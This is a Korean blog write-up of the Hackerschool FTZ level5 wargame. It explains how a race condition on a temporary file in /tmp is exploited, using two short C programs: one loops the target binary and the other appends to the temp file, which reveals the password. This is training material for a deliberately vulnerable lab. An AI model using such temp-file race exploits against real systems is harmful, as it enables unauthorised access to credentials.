level5
힌트를 확인해보았다. /usr/bin/level5 프로그램이 /tmp에 level5.tmp 파일을 생성한다고 하여서 먼저 프로그램을 실행시킨 후 확인해보았다.
프로그램을 실행시킨 후 폴더를 확인해봤지만 파일이 존재하지 않았다. level5 프로그램은 임시 파일을 생성한 후, 곧바로 파일을 다시 삭제시키는 것 같았다.
race.c와 create.c 프로그램을 작성하여 컴파일했다. race.c는 레이스 컨디션을 하는 코드이고, create.c는 /usr/bin/level5 프로그램을 무한으로 실행하는 코드이다. 이때 레이스 컨디션이란 한정된 자원을 동시에 이용하려는 여러 프로세스가 자원의 이용을 위해 경쟁을 벌이는 현상이다. 레이스 컨디션 코드는 구글링을 하여 찾아 작성했다.
// race.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main(int argc, char *argv[])
{
struct stat st;
FILE *fp;
if(argc != 3)
{
fprintf(stderr, "usage: %s file\n", argv[0]);
exit(EXIT_FAILURE);
}
if((fp = fopen(argv[1], "a")) == NULL)
{
fprintf(stderr, "Can't open");
exit(EXIT_FAILURE);
}
fprintf(fp, "%s\n", argv[2]);
fclose(fp);
fprintf(stderr, "Write OK\n");
exit(EXIT_SUCCESS);
}
// create.c
#include <stdio.h>
int main() {
while(1)
system("/usr/bin/level5");
}
create 프로그램을 백그라운드로 실행한 후 레이스 컨디션 프로그램을 실행했다. 그리고 생성된 level5.tmp 파일을 확인해보니 password가 적혀있었다.
what the hell
728x90
'CTF > 시스템' 카테고리의 다른 글
해커스쿨 FTZ level7 (0) | 2020.08.22 |
---|---|
해커스쿨 FTZ level16 (0) | 2020.08.20 |
해커스쿨 FTZ level4 (0) | 2020.08.08 |
해커스쿨 FTZ level3 (0) | 2020.08.06 |
해커스쿨 FTZ level2 (0) | 2020.08.01 |